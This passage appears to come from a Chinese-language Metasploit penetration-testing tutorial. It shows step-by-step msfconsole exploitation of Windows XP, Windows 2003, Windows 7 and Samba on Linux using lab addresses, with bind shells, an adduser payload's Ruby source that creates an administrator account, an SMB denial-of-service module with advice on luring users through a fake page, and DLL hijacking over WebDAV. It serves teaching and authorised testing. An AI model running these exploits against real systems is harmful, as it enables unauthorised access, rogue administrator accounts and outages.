上图展示了hosts命令的输出结果。观察可以发现,该命令的输出结果包含了较多内容,表中包含了多列项目。为了更清晰,可以在hosts命令中使用过滤参数,这样就可以只显示和查看需要的内容,请看下面的命令示例。

msf > hosts -c address, os_name

Hosts

=====

address os_name

------- ------

192.168.56.1

192.168.56.101

192.168.56.102 Microsoft Windows

192.168.56.103 Linux

msf > services:用于查看目标机器上运行的服务。

msf > services

Services

========

host port proto name state info

---- ---- ----- ---- ----- ----

192.168.56.101 111 tcp rpcbind open

192.168.56.102 135 tcp msrpc open

192.168.56.102 139 tcp netbios-ssn open

192.168.56.102 445 tcp microsoft-ds open

192.168.56.102 135 tcp msrpc open Microsoft Windows

RPC

msf > vulns:该命令列出数据库中各主机上存在的所有漏洞。

msf > db_autopwn:这是一条功能强大的命令,用于自动化实现对数据库中目标主机的攻击渗透。该命令需要对攻击渗透过程有更多的理解,因此后面将会对这一命令进行分析。

怎样工作

分析过程很简单,并且通过使用各种过滤参数可轻松获取需要的结果,前面也展示了如何读取数据库输出及如何对其进行高效管理。最后两条命令vulns与db_autopwn是攻击渗透相关的命令,后面章节中会再对其进行讲解。

本章讲解下述内容:

● Exploit用法快速提示;

● 在Windows XP SP2上进行渗透测试;

● 绑定远程访问目标机器的shell;

● 在Windows 2003 Server上进行渗透测试;

● Windows 7/Server 2008 R2客户端无限循环漏洞;

● 对Linux(Ubuntu)机器进行攻击渗透;

● 理解Windows DLL注入漏洞。

上章着重介绍了对目标机器的信息收集,包括目标 IP 地址、开放端口、可用服务等各种类型信息,其中最重要的信息是与目标服务器或系统使用的操作系统相关的信息,这些信息有助于快速发现目标操作系统中存在的漏洞和相应的漏洞利用代码。当然,实际过程并非那么直接,但如果使用与操作系统相关的信息可以在很大程度上让这些任务变得更容易。

每种操作系统中都会存在各种bug,一旦这些bug被公布出去,就会产生针对这些bug的攻击代码。像Windows这样有版权的操作系统,会快速开发针对这些bug或漏洞的补丁,并为用户提供更新。漏洞披露是一个大问题,很多零日漏洞披露者给计算机产业带来了巨大的破坏。零日漏洞被各类人群所追捧,在一些地下交易市场也十分活跃,其价格可能在50000~100000美元。通常的情况下,漏洞研究人员发现并可以成功利用某些漏洞,但是否披露漏洞则取决于他们自己的意愿。

一些知名厂商,例如微软和 Adobe 公司会定期发布补丁,但是否采用则取决于用户自身。在公司中的情况更糟,从补丁发布到服务器打补丁需要数星期的时间,因为打补丁会涉及机器的宕机和重启,而企业对业务连续性又很高要求。因此,强烈建议及时更新补丁或对操作系统中最新发现的漏洞保持关注。未打补丁的操作系统对黑客而言是避风港(safe haven),因为黑客可以立即启动并攻击目标。所以,定期对操作系统进行打补丁和更新是很重要的。本章中我们将关注某些最流行操作系统中出现的漏洞。

在渗透测试过程中,收集和获取目标操作系统的相关信息后,测试人员便可以开始寻找针对特定操作系统漏洞的漏洞利用代码。因此,本章介绍的内容是利用操作系统漏洞对目标进行渗透的第一步。我们将关注某些应用最广泛的微软家庭版和企业版操作系统,以及某些Linux系统,并了解怎样使用漏洞利用代码及设置参数,以便其在目标机器上正确运行。最后,我们将讨论Metasploit中某些有用的攻击载荷。

在对目标机器使用漏洞利用代码和攻击载荷之前,我们需要先了解一些相关的基本知识。理解漏洞利用代码的使用非常重要,这样才能解决参数错误配置时可能出现的错误。下面介绍有关漏洞利用代码使用和参数设置的一些基本知识。

准备

要对目标使用漏洞利用代码,首先扫描目标寻找开放端口和服务,获取目标相关的充分信息,然后有针对性地选择合适的漏洞利用代码。下面分析一些可以直接在 msfconsole中启动的漏洞利用代码使用命令。

怎样实现

下面列出了使用exploit时的一些常用命令。

msf > show exploits与msf > show payloads:这两条命令用于展示Metasploit目录中所有可用的漏洞利用代码和攻击载荷。

msf> search exploit:该命令用于搜索某个特定的漏洞利用代码,也可以使用该命令搜索任意特定的搜索项。该命令按如下方式进行传递。

msf > search exploit-name or search-term

例如下面的命令示例。

msf > search ms03_026_dcom

Matching Modules

================

Name Disclosure Date Rank

Description

---- ---------------- --- -----------

exploit/windows/

dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC DCOM

msf > use exploit:该命令用于将任意 exploit设置为活跃状态或待用状态,该命令按如下方式进行传递。

msf > use exploit name

执行该命令后,命令行提示符将切换为exploit类型。

msf > use exploit/windows/dcerpc/ms03_026_dcom

msf exploit(ms03_026_dcom) >

show options:该命令用于查看当前使用的exploit的可用选项或参数,各种参数包括主机IP地址、线程等,其中标记为yes的参数必须设置相应值以便有效执行该漏洞利用代码。

msf exploit(ms03_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 135 yes The target port

set:该命令用于为当前使用的 exploit中的某个参数设置具体值,例如为某个特定漏洞利用代码设置具体的攻击载荷。该命令按如下方式传递。

msf > set parameter-name parameter-value

类似地,也可以使用unset命令取消对某个参数值的设置。

msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102

RHOST => 102.168.56.102

msf exploit(ms03_026_dcom) >

还有两条可选的命令:setg命令和unsetg命令,用于在msfconsole中设置全局性的参数值,从而减少相同值的输入工作。

show targets:每个 exploit都设计用于攻击某种目标服务,本命令用于展示该 exploit有哪些可用的攻击目标。

msf exploit(ms03_026_dcom) > show targets

Exploit targets:

 Id Name

 -- ----

 0 Windows NT SP3-6a/2000/XP/2003 Universal

从结果可以看出,漏洞利用代码dcom可对多种Windows机器进行攻击。

怎样工作

在第1章曾经讲过,整个Metasploit框架采用的是模块化体系结构,不同的漏洞利用代码都转换为框架中定义的模块,并按照框架中的规范运作。用户可以使用不同的命令加载和使用模块,通过 msfconsole 提供的命令行接口,可以很容易地访问不同的模块并开展渗透测试。

本节中我们将介绍如何使用Metasploit攻陷运行着Windows XP操作系统的目标机器,其中需要使用前面章节中讲到的一些命令,进一步选择漏洞利用代码和攻击载荷,并设置各种必需的参数。

准备

首先在msfconsole中进行渗透测试过程。启动控制台,扫描端口搜集目标机器的信息,前面已经详细讨论过端口扫描的相关内容,这里假设已搜集到目标机器的信息,并确定其运行的是Windows XP操作系统,接下来选择漏洞利用代码和攻击载荷。

怎样实现

若要在Windows XP SP2上进行渗透测试,需遵循如下步骤。

(1)主要目标是选择可用于 Windows XP 的漏洞利用代码,用户可以浏览/exploits/ window目录,或简单地搜索有哪些可用于Windows XP的漏洞利用代码。我们将使用RPC dcom漏洞对目标进行渗透,所以先对RPC dcom漏洞进行搜索,可使用如下命令。

msf exploit(ms03_026_dcom) > search dcom

Matching Modules

================

Name Disclosure Date Rank Description

---- --------------- --- -----------

exploit/windows

dcerpc/ms03_026_dcom 2003-07-16 great Microsoft RPC

xploit/windows/

driver/

broadcom_wifi_ssid 2006-11-11 low Broadcom Wireless

xploit/windows/

smb/ms04_031_netdde 2004-10-12 good Microsoft NetDDE

从结果可以看到,共搜索到3个相关的结果。选择使用第一个,因为该漏洞利用代码的评级为great,预示着使用该漏洞利用代码成功的几率更大。

(2)为将exploit/windows/dcerpc/ms03_026_dcom设置为可用的漏洞利用代码,可执行如下命令。

msf exploit(ms03_026_dcom) > use exploit/windows/dcerpc/ms03_026_dcom

msf exploit(ms03_026_dcom) >

命令行提示符的改变表明该命令已经运行成功。

(3)下一步为该漏洞利用代码设置必要的参数,show options命令可以列出该漏洞利用代码的可用参数,之后使用set命令即可对参数进行设置,其中一些参数会有默认值。

msf exploit(ms03_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 135 yes The target port

Exploit target:

Id Name

-- ----

0 Windows NT SP3-6a/2000/XP/2003 Universal

这里,RHOST用于指定远程目标主机的IP地址,RPORT用于指定默认的绑定端口。默认情况下,RPORT的值设置为135端口,我们需要将RHOST设置为实际的目标主机IP地址。

msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102

RHOST => 192.168.56.102

msf exploit(ms03_026_dcom) >

注意ms03_026_dcom漏洞利用代码的ID设置为0,这意味着不需要指定目标上运行的具体Windows类型,本漏洞利用代码适用于该项目列出的所有 Windows 版本。其他的漏洞利用代码一般都需要使用 show targets命令来选择目标操作系统。

目前,RHOST的值已经被设置为目标IP地址,如果此时运行漏洞利用代码,会产生错误消息,因为还没有为该漏洞利用代码选择攻击载荷。

(4)下一步选择合适的攻击载荷,可以使用命令 show payloads列出所有可用的攻击载荷。这里选择使用简单的windows/adduser攻击载荷,其功能是在目标机器操作系统中添加新用户。

msf exploit(ms03_026_dcom) > set PAYLOAD windows/adduser

PAYLOAD => windows/adduser

(5)再次运行 show options命令,将列出漏洞利用代码与攻击载荷的所有参数。攻击载荷参数形式如下所示。

Payload options (windows/adduser):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC thread yes seh, thread, process,

none

PASS metasploit yes password for this user

USER metasploit yes The username to create

从结果可以看到,添加到目标操作系统中的缺省用户名和口令都是metasploit,如果要更改这些值,可以使用 set PASS命令和 set USER命令。

(6)攻击载荷已经设置完成,下面可以对目标机器进行渗透,使用下面的命令运行该漏洞利用代码。

msf exploit(ms03_026_dcom) > exploit

[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...

[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_

tcp:192.168.56.102[135] ...

[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_

tcp:192.168.56.102[135] ...

[*] Sending exploit ...

[*] Exploit completed, but no session was created.

最后一行输出表明,漏洞利用代码在目标机器上已经成功运行完毕,并在其上添加了新用户。还可以看出,并没有创建新的会话,这是因为选用的攻击载荷是一个简单的adduser,该攻击载荷不需要活跃会话,因此,该漏洞利用代码运行后,与目标机器的连接即告终止。下一节将介绍如何使用攻击载荷建立会话。

怎样工作

在处理TCP/IP消息交换的RPC协议中存在漏洞,漏洞的成因是对畸形消息的处理存在错误,该漏洞影响分布式组件对象模型(DCOM)接口(该接口在激活了RPC的端口上进行监听),所以,需要在目标机器上存在运行RPC服务的可用端口。

该接口用于处理客户端向服务器发送的DCOM对象激活请求,成功利用该漏洞后,攻击者可在受影响系统上以本地系统权限运行任意代码,并在目标机器上执行某些操作,例如安装程序、查看/修改/删除数据,或创建高权限的用户账号。

要了解该漏洞的更多细节,可以参考如下的微软安全公告链接。

http://technet.microsoft.com/en-us/security/bulletin/ms03-026

为了理解 adduser 攻击载荷的工作机理,需要对该载荷的 ruby 代码进行分析,并找到如下位置。

root@bt:~# cd /pentest/exploits/framework3/modules/payloads/singles/windows

root@bt:/pentest/exploits/framework3/modules/payloads/singles/windows# less adduser.rb

观察下面的代码。

# Register command execution options

 register_options(

  [

    OptString.new('USER', [ true, "The

    username to create", "metasploit" ]),

    OptString.new('PASS', [ true, "The

    password for this user", "metasploit" ]),

    ], self.class)

   # Hide the CMD option

  deregister_options('CMD')

 end

 #

  # Override the exec command string

 #

  def command_string

   user = datastore['USER'] || 'metasploit'

   pass = datastore['PASS'] || ''

   if(pass.length > 14)

    raise ArgumentError, "Password for the adduser payload must be 14 characters or less"

  end

   return "cmd.exe /c net user #{user} #{pass} /ADD && "

  +

    "net localgroup Administrators #{user} /ADD"

  end

读者可以通过阅读#符号注释后面的介绍以理解代码的功能,上面的代码是简单。首先为用户名和口令注册相应值,然后隐藏CMD函数,以便在攻击载荷执行时不会出现在屏幕上,之后覆盖 windows/exec 载荷,传递参数值,并启动隐秘的命令提示符在后台执行相应命令。

读者可以根据需要对这段代码进行修改,这将有助于对攻击载荷的深入理解。

在前面内容中,分析了怎样对Windows SP2进行攻击渗透,并在其上添加新的用户账号,但是在执行该漏洞利用代码之后,连接也终止了。在本节中,将实现向目标机器绑定shell,以便建立与目标机器的远程连接并对其进行远程控制。工作过程和前面讲过的类似,使用不同的攻击载荷,执行后将在目标机器上打开远程连接shell。

准备

从启动msfconsole开始,目标与在Windows XP SP2上进行渗透测试的目标相同,使用的漏洞同样也是dcom漏洞,区别是使用不同的攻击载荷,本次选用的攻击载荷可以生成绑定到目标主机的shell。

怎样实现

若要向目标主机绑定shell,需要执行如下几个步骤。

(1)针对目标机器,选择dcom漏洞利用代码,设置不同的参数,然后选择攻击载荷。

msf > use exploit/windows/dcerpc/ms03_026_dcom

msf exploit(ms03_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 135 yes The target port

Exploit target:

Id Name

-- ----

0 Windows NT SP3-6a/2000/XP/2003 Universal

msf exploit(ms03_026_dcom) > set RHOST 192.168.56.102

RHOST => 192.168.56.102

(2)漏洞利用代码相关参数设置完成后,接下来就是攻击载荷。使用 show payloads命令可以列出所有可用的攻击载荷。选择windows/shell/bind_tcp,该攻击载荷将在目标机器的4444端口(默认情况)打开TCP连接,并向攻击者提供命令shell。

msf exploit(ms03_026_dcom) > set PAYLOAD windows/shell/bind_tcp

PAYLOAD => windows/shell/bind_tcp

(3)使用 show options命令,并设置其他相关参数,例如RHOST。还可以修改缺省的端口号,参数设置完成后,便可以执行该漏洞利用代码。下面展示的是代码执行后的输出情况。

msf exploit(ms03_026_dcom) > exploit

[*] Started reverse handler on 192.168.56.101:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack2- lang:English

[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.56.102

[*] Command shell session 1 opened (192.168.56.101:4444 ->

192.168.56.102:1052) at 2011-10-31 01:55:42 +0530

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

从以上信息可以看出,漏洞利用代码成功执行,新的命令行提示符已经在 msfconsole中启动,攻击者可以利用这一新的会话远程获取对目标机器的完全访问权限。如果需要退出该会话,可以使用exit命令。

读者现在可能已经认识到 Metasploit 中攻击载荷的强大,为更好地理解其攻击载荷的功能,强烈建议读者对其进行更多的尝试。

怎样工作

Dcom 漏洞利用代码的工作原理和前面讲过的是相同的。bind_tcp 的工作过程涉及后面章节将要介绍的一些概念,以便对其工作过程有更好的理解。读者也可以查阅该攻击载荷的 ruby 代码,见/pentest/exploits/framework3/modules/payloads/stagers/windows/bind_tcp.rb。

更多

接下来要学习怎样通过shell对目标主机进行控制。

实现对目标的完全控制

建立与目标机器的shell连接,然后使用命令行提示符对目标机器进行完整的访问和控制。可使用一些常用的DOS命令对目标机器进行探索,包括目录列表、文件与文件夹复制、创建用户代理等一些基本操作。

在上一节中,我们介绍了怎样使用 dcom漏洞利用代码,引发 Windows目标机器的缓冲区溢出,并成功实现对其进行攻击渗透。本节将介绍一个类似但又不完全相同的环境, Windows 2003 Server是微软应用最广泛的企业级操作系统之一,本节将介绍怎样对其进行攻击渗透,由于打了补丁的Windows 2003 Server中已经不存在dcom漏洞,所以本节中将尝试使用其他漏洞,即netapi32.dll漏洞。首先分析该漏洞的工作过程,然后分析该漏洞成因。

准备

首先启动msfconsole,并对目标进行快速扫描。建议读者执行渗透测试时采用标准的步骤,以便增强理解和掌握。下面的内容和前两节讲述的是相同的,差别在于使用的漏洞利用代码不同。

怎样实现

若要在Windows 2003 Server上执行渗透测试,遵循如下步骤。

(1)首先搜索netapi,列出Metasploit框架中所有与netapi相关的漏洞利用代码。

msf > search netapi

Matching Modules

================

Name Disclosure Date Rank

---- --------------- ----

exploit/windows/smb/ms03_049_netapi 2003-11-11 good

exploit/windows/smb/ms06_040_netapi 2006-08-08 good

exploit/windows/smb/ms06_070_wkssvc 2006-11-14 manual

exploit/windows/smb/ms08_067_netapi 2008-10-28 great

从结果可以看到,列出的4个结果中,最后一个漏洞利用代码的评级为great,所以优先使用该漏洞利用代码。

(2)将RHOST设置为Windows 2003 Server目标机器。

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use

(BROWSER, SRVSVC)

Exploit target:

Id Name

-- ----

0 Automatic Targeting

msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102

RHOST => 192.168.56.102

Id值为0的含义是不需要指定目标操作系统。

(3)完成漏洞利用代码加载后,设置攻击载荷。这里仍然设置 tcp_bind 攻击载荷,以便获取目标机器的shell,如前面所讨论的。

msf exploit(ms08_067_netapi) > set payload

windows/shell/bind_tcp

payload => windows/shell/bind_tcp

msf exploit(ms08_067_netapi) > set LHOST 192.168.56.101

LHOST => 192.168.56.101

漏洞利用代码和攻击载荷都已经设置完毕,最后使用exploit命令并分析该命令的执行结果。

msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows 2003 SERVER - Service Pack2- lang:English

[*] Selected Target: Windows 2003 Server SP2 English (AlwaysOn NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (240 bytes) to 192.168.56.102

[*] Command shell session 1 opened (192.168.56.101:43408 ->

192.168.56.102:4444) at 2011-11-02 21:25:30 +0530

C:\WINDOWS\system32>

从结果可以看到攻击成功,并建立了到目标主机的shell连接,可以通过命令行访问目标机器。Metasploit在进行渗透攻击测试方面功能强大,在相当大的程度上简化了任务的难度。下面快速浏览本节中漏洞利用代码的工作原理。

怎样工作

该模块利用了Server服务中的漏洞,即netapi32.dll执行路径连接代码中的分析漏洞,在某些操作系统和服务包中,该漏洞可以绕过NX特性。可用于防止Server服务(以及同一进程中的其他服务)崩溃。

针对Windows 7和Windows Server 2008的漏洞利用代码非常少,SMB客户端无限循环漏洞是其中的一项,可以导致目标系统崩溃。该漏洞不会产生会话或shell连接,但也仍然值得讨论。在第 3.8节中,将对Windows 7中的DLL注入漏洞进行分析。

Windows Server 2008 R2与Windows 7中的SMB客户端中存在漏洞,间接攻击者和远程SMB 服务器可以利用SMBv1 或SMBv2 响应数据包产生拒绝服务(无限循环和系统挂起)。该数据包的NetBIOS头部或末端长度字段中包含有不正确的长度值,是导致该漏洞的主要原因。

准备

Metasploit中包含有辅助模块auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop,可用于对SMB服务器进行攻击渗透,并导致拒绝服务,其攻击方法是将UNC路径传递给web页面,并诱使目标用户执行,用户打开共享文件之后,目标系统将完全崩溃,只能重启恢复。

怎样实现

要使用该辅助模块,需要使用use命令,并以该模块路径为参数,然后设置必需的参数并执行该模块,可执行如下步骤。

msf > use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop

msf auxiliary(ms10_006_negotiate_response_loop) > show options

Module options (auxiliary/dos/windows/smb/ms10_006_negotiate_response_

loop):

Name Current Setting Required Description

---- --------------- -------- -----------

SRVHOST 0.0.0.0 yes The local host..

SRVPORT 445 yes The SMB port to listen

SSL false no Negotiate SSL..

SSLCert no Path to a custom SSL

SSLVersion SSL3 no Specify the version..

快速设置各种参数,实际上唯一需要更改的参数是SRVHOST,该参数需要设置为渗透攻击人员所用机器的IP地址。

msf auxiliary(ms10_006_negotiate_response_loop) > set SRVHOST

192.168.56.101

SRVHOST => 192.168.56.101

怎样工作

使用run命令执行该辅助模块,该模块执行后,会生成一个共享文件夹链接并发送给目标用户,本示例中生成的链接为\\192.168.56.101\Shared\Anything。

msf auxiliary(ms10_006_negotiate_response_loop) > run

[*] Starting the malicious SMB service...

[*] To trigger, the vulnerable client should try to access:

\\192.168.56.101\Shared\Anything

[*] Server started.

还可以伪造一个网页,将其附加到该链接中使其看起来不那么可疑,之后将其发送给目标用户。目标用户点击该链接之后,目标系统将彻底死机,导致完全的拒绝服务,只有重启才能恢复正常。

Linux是继Windows之后应用广泛的操作系统之一,在前面几节中,我们介绍了怎样通过可用服务中的漏洞对Windows机器进行渗透,本节将关注Linux操作系统漏洞,示例针对的是Ubuntu 9,工作过程和任何其他运行Samba服务的Linux、Solaris操作系统一样。

准备

首先对Linux目标机器进行扫描,收集可用服务信息。使用Nmap进行快速扫描并分析其结果。

msf > nmap -sT 192.168.56.101

[*] exec: nmap 192.168.56.101

Starting Nmap 5.20 ( http://nmap.org ) at 2011-11-05 13:35 IST

Warning: Traceroute does not support idle or connect scan, disabling...

Nmap scan report for 192.168.56.101

Host is up (0.00048s latency).

Not shown: 997 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1)

|_html-title: Index of /

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)

MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

No exact OS matches for host (If you know what OS is running on it, see

http://nmap.org/submit/ )

收集到目标相关的信息后,为其选择漏洞利用代码和合适的攻击载荷。

怎样实现

对Linux机器的渗透过程与Windows类似,采用如下步骤。

(1)主要任务是选择正确的漏洞利用代码和攻击载荷,可以在Metasploit目录中搜索可用的Samba漏洞利用代码。

msf > search Samba

(2)该命令将返回各种有关 Samba 的辅助模块和漏洞利用代码模块列表,选择使用的是评级为good的exploit/linux/samba/lsa_transnames_heap漏洞利用代码模块,因为该模块对目标攻击渗透的成功率较高。下面的命令将该模块设置为活跃状态,并设置必要的参数。

msf > use exploit/linux/samba/lsa_transnames_heap

msf exploit(lsa_transnames_heap) > show options

Module options (exploit/linux/samba/lsa_transnames_heap):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE LSARPC yes The pipe name to use

Exploit target:

Id Name

-- ----

0 Linux vsyscall

msf exploit(lsa_transnames_heap) > set RHOST 192.168.56.101

RHOST => 192.168.56.101

msf exploit(lsa_transnames_heap) >

(3)接下来选择合适的攻击载荷,要记住的是,我们的目标是Linux机器,因此必须选择Linux攻击载荷。选择使用的是 linux/x86/shell_bind_tcp payload,其工作原理与前面分析过的Windows攻击载荷bind_tcp类似。

msf exploit(lsa_transnames_heap) > set payload linux/x86/shell_

bind_tcp

payload => linux/x86/shell_bind_tcp

msf exploit(lsa_transnames_heap) > show options

Module options (exploit/linux/samba/lsa_transnames_heap):

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST 192.168.56.101 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE LSARPC yes The pipe name to use

Payload options (linux/x86/shell_bind_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LPORT 4444 yes The listen port

RHOST 192.168.56.101 no The target address

(4)各种选项已设置完毕,最后使用exploit命令进行攻击渗透过程。

msf exploit(lsa_transnames_heap) > exploit

[*] Started bind handler

[*] Creating nop sled....

[*] Trying to exploit Samba with address 0xffffe410...

[*] Connecting to the SMB service...

漏洞利用代码成功执行后,将建立攻击方机器到目标方机器的shell连接,这一过程与前面章节中讨论的过程非常类似,唯一的差别在于选择的漏洞利用代码和攻击载荷不同。尝试的漏洞利用代码和攻击载荷的组合越多,对这些概念的理解就会越好。

怎样工作

下面对 Samba 服务及其工作机理、漏洞利用原理进行一个快速介绍。Samba 用于在Linux和Windows机器之间进行打印和文件共享。本漏洞利用模块激发Samba守护进程的LSA RPC服务中的堆溢出漏洞,并使用 talloc chunk重写方法(credit Ramon and Adriano),该方法只适用在 Samba 3.0.21-3.0.24版本。该漏洞利用代码利用了堆中动态内存分配的优势。第一次利用该漏洞时会出现失败的情况,因此可以多次尝试。

更多

下面介绍其他一些与Linux操作系统相关的漏洞利用模块。

其他与Linux相关的漏洞利用模块

除了本节讨论的漏洞利用模块之外,还有两个模块值得注意。强烈建议读者尝试这两个漏洞利用模块以便加深理解。

Samba chain_reply内存损坏漏洞:该漏洞利用代码会损坏Samba 3.3.13以前版本中分配给响应数据包的内存,可通过传递超过目标缓冲区大小的值实现。

Samba trans2open溢出:这是Samba2.2.0版本到 2.2.8版本中普遍存在的一个缓冲区溢出漏洞,其工作原理是利用没有 noexec栈选项的 x86 Linux机器中的漏洞。

本节将介绍一种特殊类型的漏洞,这种漏洞不直接存在于 Windows 操作系统中,而是存在于 Windows 上运行的各种应用程序软件之中。这种远程攻击方法针对的是应用程序加载外部库时存在的漏洞,下面介绍这类漏洞,以便对其进行深入分析。

准备

这种攻击方法需要创建包含漏洞的目录路径,目标机器需要执行该路径以便激活该漏洞。这个目录可以是文件、提取的文件夹、USB 驱动器或网络共享等。创建的文件本身是完全无害的,但会执行DLL注入漏洞来攻击目标系统。

怎样实现

下面介绍DLL注入漏洞的实现过程。本示例中,目标机器是一个未打补丁的Windows 7 Ultimate机器。工作过程是创建一个链接共享该机器必须访问和执行的文件。随着讲解的深入,读者会对这一过程有更好的理解。

(1)使用exploit/windows/browser/webdav_dll_hijacker模块作为漏洞利用代码,windows/meterpreter/bind_tcp作为攻击载荷,下面对漏洞利用代码和攻击载荷必需的参数进行快速设置。

msf > use exploit/windows/browser/webdav_dll_hijacker

msf exploit(webdav_dll_hijacker) > set payload windows/

meterpreter/bind_tcp

payload => windows/meterpreter/bind_tcp

msf exploit(webdav_dll_hijacker) > show options

Module options (exploit/windows/browser/webdav_dll_hijacker):

Name Current Setting Required Description

---- --------------- -------- -----------

BASENAME policy yes The base name for the listed

EXTENSIONS txt yes The list of extensions

SHARENAME documentsyes The name of the top-level

SRVHOST 0.0.0.0 yes The local host...

SRVPORT 80 yes The daemon port to listen

SSLCert no Path to a custom SSL..

URIPATH / yes The URI to use

Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique: seh..

LPORT 4444 yes The listen port

RHOST 192.168.56.102 no The target address

Exploit target:

Id Name

-- ----

0 Automatic

使用漏洞利用代码的各种参数有助于创建特定文件和顶层共享。其中,参数BASENAME包含了要创建的文件名,EXTENSIONS 是待创建文件的类型扩展名,SHARENAME 是待创建用于访问的顶级共享目录,SRVHOST是本地监听主机,SRVPORT是用于对连接进行监听的端口号。

(2)漏洞利用代码和攻击载荷的相应参数设置完成后,执行漏洞利用代码。执行后的情况如下。

msf exploit(webdav_dll_hijacker) > exploit

[*] Exploit running as background job.

[*] Started bind handler

[*]

[*] Exploit links are now available at

\\192.168.56.101\documents\

(3)漏洞利用代码成功执行后,开始对产生的连接进行监听,并提供共享链接。目标打开该链接后将触发漏洞并执行漏洞利用代码,下面切换到目标机器屏幕看会发生哪些情况。

目标机器中包含policy.txt文件,该文件已被攻击者共享,该文件是完全无害的,然而一旦目标用户执行该文件后,就会与攻击方机器建立shell连接,而实际上在目标机器上执行的是DLL文件,此时在msfconsole屏幕上会看到大量活动。DLL成功注入后,将产生一个shell连接(见下图)。

怎样工作

下面分析导致该漏洞的原因。动态链接库(DLL)是微软Windows操作系统中共享库的一种实现。DLL 实际上是与某个特定程序相关的可执行程序,该程序运行时会加载与其相关的DLL共享库。应用程序运行时,loadlibrary()函数将加载运行时必需的DLL,如果待加载DLL的位置没有指定,或者应用程序提供的是非全限定的库路径,Windows就会使用自定义的搜索顺序进行DLL搜索,其中默认搜索位置就是程序的当前工作目录。

目标用户访问共享位置后,就会进入到攻击者控制的区域,这是为什么呢?因为共享文件policy.txt包含非完全限定的DLL路径,目标用户执行该文件时,Windows会按照缺省搜索顺序搜索该 DLL 文件,而由于当前工作目录(/documents)是由攻击者控制的,攻击者就可以在其中添加恶意的 DLL 代码,并由 Windows 操作系统执行(当前工作目录是Windows搜索链接库的缺省位置之一),从而使得攻击者可以执行外部脚本,攻击载荷成功执行后,会在攻击方机器和目标机器之间建立shell连接,攻击者由此获取对目标系统的完全访问权限。以上为该攻击方法的整个过程。

更多

可以使用H. D. Moore开发的一个简单工具来探测DLL注入漏洞。

H. D. Moore的DllHijackAudit工具

Metasploit的创建者H. D. Moore创建了一种安全审计工具,可测试系统环境中是否存在DLL注入漏洞,这是使用Ruby解释器运行的进程监控工具,其工作机理是监控某个DLL文件是否在关联文件的工作目录内被访问。该工具还可以生成测试报告。工具及详细的文档信息可以参见http://blog.metasploit.com/2010/08/better-faster-stronger.html。

本章讲解下述内容:

● 探索模块结构;

● 常用的漏洞利用代码mixins;

● 使用msfvenom;

● 将漏洞利用代码转换为Metasploit模块;

● 移植并测试新的漏洞利用代码模块;

● 使用Metasploit进行模糊测试;

● 编写FileZilla FTP模糊测试器。

首先介绍漏洞利用代码。漏洞利用代码(Exploit)是指利用某个软件中的漏洞或 bug执行攻击者意图指令的软件代码、数据块或指令序列。攻击者意图指令可在目标软件中引发异常行为。在渗透测试过程中,漏洞利用代码起着至关重要的作用,提供了进入目标系统的入口。

在前面的内容中,我们已经使用过漏洞利用代码执行渗透测试任务。这里需要注意的是,不能将任何独立的概念验证代码或漏洞利用代码直接导入到Metasploit框架中,而必须将其转换成该框架可理解的模块,其过程和前面讲过的辅助模块开发类似。本章将介绍在该框架内使用漏洞利用代码所需知识的细节,但不包括与漏洞利用代码开发相关的内容。本章中,将介绍如何使用漏洞利用代码的概念验证代码,并学习怎样将其添加到该框架中。还有学习一些重要的mixins,以便简化漏洞利用代码到Metasploit模块的转换过程。最后将介绍模糊测试模块的相关内容。

理解漏洞利用模块的结构是非常重要的,因为这有助于对不同漏洞利用模块的正确分析。由于Metasploit框架是一个开源项目,其开发依赖于来自研究团体的贡献。来自全球的开发者们将各种漏洞利用代码的概念验证代码转换为 Metasploit 模块,以便为其他用户使用。读者也可以将新发现漏洞的利用代码转换为Metasploit模块,从而为Metasploit开发贡献力量。还有些时候需要利用不在Metasploit框架中的特定漏洞利用代码。掌握漏洞利用代码模块结构的相关知识,有助于更容易地将漏洞利用代码转换为Metasploit模块。

准备

